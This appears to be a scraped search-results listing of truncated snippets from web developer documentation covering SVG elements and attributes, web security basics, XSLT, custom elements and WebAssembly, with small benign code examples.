usage context categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transform dom interface this element implements the svgswitchelement interface.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-mite...
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
value type: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-o...
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
value type: <length>|<percentage>|<number> ; default value: auto; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
{ height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
usage context categoriestext content element, text content child elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgtrefelement interface.
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
value type: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-o...
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-widt...
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <vi...
Example - SVG: Scalable Vector Graphics
// return this as a 2-tuple (x,y) in an array function dimensions() { // our rendering element var display = display(); var width = parseint( display.getattributens(null,'width') ); var height = parseint( display.getattributens(null,'height') ); return [width,height]; } // this is called by mouse move events var mouse_x = 200, mouse_y = 150; function onmousemove(evt) { mouse_x = evt.clientx; mouse_y = evt.clienty; var widget = document.getelementbyid('cursor'); widget.setattributens(null,'cx',mouse_x); widget.setattributens(null,'cy',mouse_y); } document.onmousemove = onmousemove; // determine (x,y) of the cursor function cursor() { return [mouse_x, mouse_y]; } ...
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
doesn't deliver events to a svgelementinstance tree (bug 265895).
SVG: Scalable Vector Graphics
WebSVG
other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an image svg animation with smil svg art gallery animation and interactions like html, svg has a document model (dom) and events, and is accessible from javascript.
Certificate Transparency - Web security
users will be prevented from visiting sites using non-compliant tls certificates.
Secure contexts - Web security
the primary goal of secure contexts is to prevent mitm attackers from accessing powerful apis that could further compromise the victim of an attack.
How to turn off form autocompletion - Web security
preventing autofilling with autocomplete="new-password" if you are defining a user management page where a user can specify a new password for another person, and therefore you want to prevent autofilling of password fields, you can use autocomplete="new-password".
Transport Layer Security - Web security
encryption data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties.
Weak signature algorithms - Web security
as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed.
Web security
the primary goal of secure contexts is to prevent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack.
Tutorials
javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events.
Using custom elements - Web Components
class customelement extends htmlelement { constructor(...args) { const self = super(...args); // self functionality written in here // self.addeventlistener(...) // return the right context return self; } } if you don't need to perform any operation in the constructor, you can simply omit it so that its native behavior (see following) will be preserved.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
however these versions also used a draft version of xslt which is incompatible with what eventually became the xslt 1.0 specification.
<xsl:fallback> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementfallback
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:fallback> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
<xsl:namespace-alias> - XSLT: Extensible Stylesheet Language Transformations
to prevent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree.
An Overview - XSLT: Extensible Stylesheet Language Transformations
this latter namespace is not compatible with the one that the w3c eventually adopted and is not supported by netscape.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
var testtransform = document.implementation.createdocument("", "test", null); // just an example to get a transform into a script as a dom // xmldocument.load is asynchronous, so all processing happens in the // onload handler testtransform.addeventlistener("load", onload, false); testtransform.load("test-transform.xml"); function onload() { processor.importstylesheet(testtransform); } xsltprocessor.importstylesheet() requires one argument, a dom node.
Web technology for developers
accessibilitycss houdinicss: cascading style sheetsdemos of open web technologiesdeveloper guidesexsltevent referencehtml: hypertext markup languagehttpjavascriptmathmlopensearch description formatprivacy, permissions, and information securityprogressive web apps (pwas)svg: scalable vector graphicstutorialsweb apisweb componentsweb performanceweb app manifestsweb media technologiesweb securityweb technology referencexml: extensible markup languagexpathxslt: extensible stylesheet language transformation...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
<button class="mybutton">run myfunction</button> now add the following code at the end of the first <script> element: document.queryselector('.mybutton') .addeventlistener('click', function() { alert('check console'); var result = module.ccall( 'myfunction', // name of c function null, // return type null, // argument types null // arguments ); }); this illustrates how ccall() is used to call the exported function.
Loading and running WebAssembly code - WebAssembly
we then use the onload event handler to invoke a function when the response has finished downloading — in this function we get the array buffer from the response property, and then feed that into our webassembly.instantiate() method as we did with fetch.